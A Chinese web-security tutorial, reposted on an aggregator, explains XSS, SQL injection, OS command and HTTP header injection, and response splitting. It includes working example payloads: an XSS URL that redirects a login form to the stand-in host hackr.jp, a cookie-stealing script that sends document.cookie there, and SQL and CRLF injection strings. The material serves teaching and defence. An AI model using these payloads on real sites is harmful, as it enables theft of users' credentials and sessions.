HTTP基礎10--web(2)

因輸出值轉義不完全引發的安全漏洞

實施 Web 應用的安全對策可大致分為以下兩部分。

  • 客戶端的驗證

  • Web 應用端(服務器端)的驗證: 輸入值驗證 / 輸出值轉義

151905303399539.png

  • 客戶端允許篡改數據或關閉 JavaScript,不適合將 JavaScript 驗證作為安全的防范對策。保留客戶端驗證只是為了盡早地辨識輸入錯誤,起到提高 UI 體驗的作用。

  • Web 應用端的輸入值驗證按 Web 應用內的處理則有可能被誤認為是具有攻擊性意義的代碼。輸入值驗證通常是指檢查是否是符合系統業務邏輯的數值或檢查字符編碼等預防對策。

  • 從數據庫或文件系統、HTML、郵件等輸出 Web 應用處理的數據之際,針對輸出做值轉義處理是一項至關重要的安全策略。當輸出值轉義不完全時,會因觸發攻擊者傳入的攻擊代碼,而給輸出對象帶來損害。

跨站腳本攻擊

跨站腳本攻擊(Cross-Site Scripting,XSS)是指通過存在安全漏洞的 Web 網站注冊用戶的瀏覽器內運行非法的 HTML 標簽或 JavaScript 進行的一種攻擊。動態創建的 HTML 部分有可能隱藏著安全漏洞。就這樣,攻擊者編寫腳本設下陷阱,用戶在自己的瀏覽器上運行時,一不小心就會受到被動攻擊。

跨站腳本攻擊有可能造成以下影響。

  • 利用虛假輸入表單騙取用戶個人信息。

  • 利用腳本竊取用戶的 Cookie 值,被害者在不知情的情況下,幫助攻擊者發送惡意請求。

  • 顯示偽造的文章或圖片。

跨站腳本攻擊案例

  • 在動態生成 HTML 處發生:

151909304489717.png

151910013238651.png

  • XSS 是攻擊者利用預先設置的陷阱觸發的被動攻擊

下圖網站通過地址欄中 URI 的查詢字段指定 ID,即相當于在表單內自動填寫字符串的功能。而就在這個地方,隱藏著可執行跨站腳本攻擊的漏洞。

151911373544582.png

隱藏植入事先準備好的欺詐郵件中或 Web 頁面內,誘使用戶去點擊該 URL。

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="

瀏覽器打開該 URI 后,直觀感覺沒有發生任何變化,但設置好的腳本卻偷偷開始運行了。當用戶在表單內輸入 ID 和密碼之后,就會直接發送到攻擊者的網站(也就是 hackr.jp),導致個人登錄信息被竊取。

151912367928122.png

之后,ID 及密碼會傳給該正規網站,而接下來仍然是按正常登錄步驟,用戶很難意識到自己的登錄信息已遭泄露。

除了在表單中設下圈套之外,下面那種惡意構造的腳本同樣能夠以跨站腳本攻擊的方式,竊取到用戶的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

該腳本內指定的 http://hackr.jp/xss.js 文件。即下面這段采用 JavaScript 編寫的代碼。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站腳本攻擊安全漏洞的 Web 應用上執行上面這段 JavaScript 程序,即可訪問到該 Web 應用所處域名下的 Cookie 信息。然 后這些信息會發送至攻擊者的 Web 網站(http://hackr.jp/),記錄在他的登錄日志中。結果,攻擊者就這樣竊取到用戶的 Cookie 信息了。

151915335113434.png

  • SQL 注入攻擊

指針對 Web 應用使用的數據庫,通過運行非法的 SQL 而產生的攻擊;如果在調用 SQL 語句的方式上存在疏漏,就有可能執行被惡意注入(Injection)非法 SQL 語句。

SQL 注入攻擊有可能會造成以下等影響。

  • 非法查看或篡改數據庫內的數據

  • 規避認證

  • 執行和數據庫服務器業務關聯的程序等

SQL 注入攻擊案例

下面以某個購物網站的搜索功能為例,講解 SQL 注入攻擊。通過該功能,我們可以將某作者的名字作為搜索關鍵字,查找該作者的所有著作。

151942216988822.png

  • 正常處理的操作示例

151943559792554.png

URL 的查詢字段已指定 q= 上野宣,這個值由 Web 應用傳入到 SQL 語句中,構成下方的 SQL 語句。

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;

該 SQL 語句表示“從 bookTbl 表中,顯示滿足 author= 上野宣 and flag=1(可售)所在行的數據”。

  • SQL 注入攻擊的操作示例

把剛才指定查詢字段的上野宣改寫成“上野宣'--”。

151945423086503.png

構成的 SQL 語句就變成“從數據庫的 bookTbl 表中,顯示滿足 author= 上野宣條件所在行的數據”,如下所示。

SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;

SQL 語句中的 -- 之后全視為注釋。即,and flag=1 這個條件被自動忽略了。

OS 命令注入攻擊

指通過 Web 應用,執行非法的操作系統命令達到攻擊的目的。倘若調用 Shell 時存在疏漏,就可以執行插入的非法 OS 命令。

HTTP 首部注入攻擊

HTTP 首部注入攻擊(HTTP Header Injection)是指攻擊者通過在響應首部字段內插入換行,添加任意響應首部或主體的一種攻擊。屬于被動攻擊模式;向首部主體內添加內容的攻擊稱為 HTTP 響應截斷攻擊(HTTP Response Splitting Attack);如下所示,Web 應用有時會把從外部接收到的數值,賦給響應首部字段 Location 和 Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345*12345就是插入值

HTTP 首部注入攻擊有可能會造成以下一些影響。

  • 設置任何 Cookie 信息

  • 重定向至任意 URL

  • 顯示任意的主體(HTTP 響應截斷攻擊)

HTTP 首部注入攻擊案例

以選定某個類別后即可跳轉至各類別對應頁面的功能為例。該功能為每個類別都設定了一個類別 ID 值,一旦選定某類別,就會將該 ID 值反映在響應內的 Location 首部字段內,形如 Location: http://example.com/?cat=101。令瀏覽器發生重定 向跳轉。

152155239958986.png

攻擊者以下面的內容替代之前的類別 ID 后發送請求。


**其中,%0D%0A 代表 HTTP 報文中的換行符,緊接著的是可強制將攻擊者網站(http://hackr.jp/)的會話 ID 設置成 SID=123456789 的 Set-Cookie 首部字段;發送該請求之后,假設結果返回以下響應。**

Location: http://example.com/?cat=101(%0D%0A :換行符)
Set-Cookie: SID=123456789

**此刻,首部字段 Set-Cookie 已生效,因此攻擊者可指定修改任意的 Cookie 信息。通過和會話固定攻擊(攻擊者可使用指定的會話 ID)攻擊組合,攻擊者可偽裝成用戶;攻擊者輸入的 %0D%0A,原本應該屬于首部字段 Location 的查詢值部分,但經過解析后,%0D%0A 變成了換行符,結果插入了新的首部字段;這樣一來,攻擊者可在響應中插入任意的首部字段。**###HTTP 響應截斷攻擊###**HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。攻擊順序相同,但是要將兩個 %0D%0A%0D%0A 并排插入字符串后發送。利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達到攻擊目的。這樣的攻擊叫做 HTTP 響應截斷攻擊。**

%0D%0A%0D%0A

之后,想要顯示的網頁內容 <!--
**在可能進行 HTTP 首部注入的環節,通過發送上面的字符串,返回結果得到以下這種響應。**

Set-Cookie: UID=(%0D%0A :換行符)
(%0D%0A :換行符)

之后,想要顯示的網頁內容 <!--(原來頁面對應的首部字段和主體部分全視為注釋)
```
利用這個攻擊,已觸發陷阱的用戶瀏覽器會顯示偽造的 Web 頁面,再讓用戶輸入自己的個人信息等,可達到和跨站腳本攻擊相同的效果。**

另外,濫用 HTTP/1.1 中匯集多響應返回功能,會導致緩存服務器對任意內容進行緩存操作。這種攻擊稱為緩存污染。使用該緩存服務器的用戶,在瀏覽遭受攻擊的網站時,會不斷地瀏覽被替換掉的 Web 網頁。

轉載于:https://www.cnblogs.com/jinkspeng/p/4292949.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/376219.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/376219.shtml
英文地址,請注明出處:http://en.pswp.cn/news/376219.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

單一課和綜合課的劃分依據_武夷巖茶產地如何劃分?

產地是指某種物品的生產、出產或加工制造的地點&#xff0c;日常含義是指某種物品的主要生產地。本文探討的武夷巖茶種植產地&#xff0c;也就是當地茶人俗稱的“山場”。武夷巖茶“山場”的俗稱可能緣起于宋代的茶政。宋代官府設置“榷&#xff08;qu&#xff09;茶場”&#…

windows文件路徑大于MAX_PATH

如果文件路徑大于MAX_PATH&#xff0c;是無法直接用CreatFile、fopen等方法來打開文件 但是可以通過在路徑前面加上“\\?\”來獲取文件 比如想要打開下面的文件123.txt&#xff0c;但是文件路徑是很長的&#xff08;假設…是200個字符&#xff09;&#xff1a; C:\123...\1…

C# 枚舉 字符串 轉換

普通方法 這種方法盡管很SB但確實可以解決問題 private void comboBox1_SelectedIndexChanged(object sender, EventArgs e){string SelPath "";switch (comboBox1.SelectedIndex){case 0: SelPath System.Environment.GetFolderPath(System.Environment.SpecialFo…

arduino 機器視覺編程_萬物皆可仿真的MATLAB/Simulink神奇在哪?解析如何將其應用于一整套機器人設計開發流程...

MATLAB/Simulink&#xff1a;萬物皆可仿真 MATLAB是由美國MathWorks公司出品的一款商業數學軟件。它是一個多功能的科學計算平臺&#xff0c;將算法開發、數據分析、矩陣計算等諸多強大功能集成在一個易于操作的視窗環境中。MATLAB下的Simulink更是被認為可以“仿真任何系統”。…

排序算法(1) 快速排序 C++實現

快速排序基本特性 時間復雜度&#xff1a;O&#xff08;n*lgn&#xff09;最壞&#xff1a;O&#xff08;n^2&#xff09;空間復雜度&#xff1a;最好情況下&#xff1a;O&#xff08;lgn&#xff09;&#xff0c;最壞情況&#xff1a;O(n)&#xff0c;平均情況&#xff1a;O(l…

boost 變量類型轉換

如果vs版本比較低&#xff0c;會不支持一些std類型轉換函數&#xff08;vs2008就不支持&#xff09;&#xff0c;比如&#xff1a; std::to_string \\數字轉字符串 std::stoll \\字符串轉數字而且項目碰巧用boost庫&#xff0c;可以考慮用下面的的方法來進行類型轉換…

PB增刪改

新建一個數據窗口----選擇需要更新的表&#xff0c;或者直接寫sql也可以如下圖已經建立好的數據窗口&#xff0c;根據要求將需要更新的列、unigue key 還有需要更新的表設置好&#xff0c;【將需要更新列的taborder設置大于0 這樣維護的時候可以編輯&#xff08;等于0是不能編輯…

(五十六)iOS多線程之NSOperation

NSOpertation是一套OC的API&#xff0c;是對GCD進行的Cocoa抽象。 NSOperation有兩種不同類型的隊列&#xff0c;主隊列和自定義隊列。 主隊列運行于主線程上&#xff0c;自定義隊列在后臺運行。 【NSBlockOperation】 通過Block創建任務&#xff0c;下面比較主隊列和自定義隊列…

android 系統源碼調試 局部變量值_如何方便快速的整編Android 9.0系統源碼?

點擊上方“劉望舒”&#xff0c;選擇“星標”多點在看&#xff0c;就是真愛&#xff01;作者 : 劉望舒 | 來源 &#xff1a;劉望舒的博客地址&#xff1a;http://liuwangshu.cn/framework/aosp/3-compiling-aosp.html前言在上一篇文章是時候下載Android 9.0系統源碼了中&…

boost 文件操作

如果要簡單處理文件和文件夾的時候&#xff08;刪除、重命名等&#xff09;&#xff0c;使用Windows的系統函數會十分麻煩&#xff0c;可以嘗試一下使用Boost庫來進行處理 頭文件 #include <boost/filesystem.hpp>如果要獲得每次處理的結果錯誤碼&#xff0c;需要加上頭…

讓“是男人就下到100層”在Android平臺上跑起來

原工程:https://github.com/jeekun/DownFloors 移植后的代碼&#xff1a;HelloCpp.zip 移植后的APK&#xff1a;HelloCpp.apk 說明&#xff1a;&#xff08;cocos2d-x版本是“ 2.2&#xff09; 1.該工程是直接在HelloCpp上修改完成,所以包名也不修改了 2.原工程里面可能是采用g…

Codeforces Round #277 (Div. 2) 題解

Codeforces Round #277 (Div. 2)A. Calculating Functiontime limit per test1 secondmemory limit per test256 megabytesinputstandard inputoutputstandard outputFor a positive integer n lets define a function f: f(n)???-?1??2?-?3??..??(?-?1)nn Your …

QT 邊框圓角處理

平時的邊框是平角的&#xff1a; 如果需要圓角的話&#xff0c;就要加stylesheet加上這個&#xff1a; border-radius:3px;比如&#xff1a; QPushButton{ border-radius:3px; }就變成圓角了&#xff1a; px前面的數字越大就越圓&#xff0c;比如5px比3px圓 假如只需要某一…

3級調度 fpga_Vivado HLS學習筆記——1.了解FPGA架構

本篇文章為本人學習Xilinx的Vivado HLS教程記錄的學習筆記&#xff0c;僅供學習參考。Vivado HLS官方視頻教程&#xff1a;優酷視頻?v.youku.com目錄&#xff1a; Vivado HLS課程簡介FPGA與CPU、GPU、DSP的區別FPGA的優勢Xilinx FPGA架構:邏輯單元、算術邏輯單元、存儲單元使用…

[LeetCode]Maximum Depth of Binary Tree

Given a binary tree, find its maximum depth. The maximum depth is the number of nodes along the longest path from the root node down to the farthest leaf node. 思考&#xff1a;DFS。 /*** Definition for binary tree* struct TreeNode {* int val;* Tree…

BZOJ2435 [Noi2011]道路修建

這是NOI11年題&#xff0c;你在逗我&#xff1f; 直接dfs就可以了&#xff0c;Linux下貌似不會爆棧。。。 1 /**************************************************************2 Problem: 24353 User: rausen4 Language: C5 Result: Accepted6 Time:5184 …

Qt異常結束程序無法重新運行

有時候代碼有問題會導致qt異常結束 修改完后重新運行又會出現 查看任務管理器又沒有這個進程 可以使用資源管理器打開看看 也可以考慮使用process explorer查看 發現程序掛起來&#xff0c;結束掉它就可以重新運行了

hadooppythonsql_半小時搞定Hadoop+Mysql+Hive+Python

1. 說明搭建過Hadoop集群的小伙伴一定知道&#xff0c;如果不用docker&#xff0c;半小時配好HadoopMysqlHive(后簡稱Hive)肯定是胡吹&#xff0c;有了Docker鏡像&#xff0c;沒有說明文檔&#xff0c;配好了也不一定會用。本文將介紹如何在半小時內&#xff0c;讓Hive在你的Li…

PHP 切割字符串 點號 不用雙斜杠

$name "tupian.png"; $nameArr explode(".", $name); 習慣了Java的程序員容易寫成 $nameArr explode("\\.", $name);//在PHP中是不正確的轉載于:https://www.cnblogs.com/wuyou/p/3463425.html

Qt新添加的類無法鏈接

通過這個方法給工程添加了個類&#xff1a; 編譯的時候就出現了這個問題&#xff1a; 執行一下qmake 然后再重新構建項目就可以了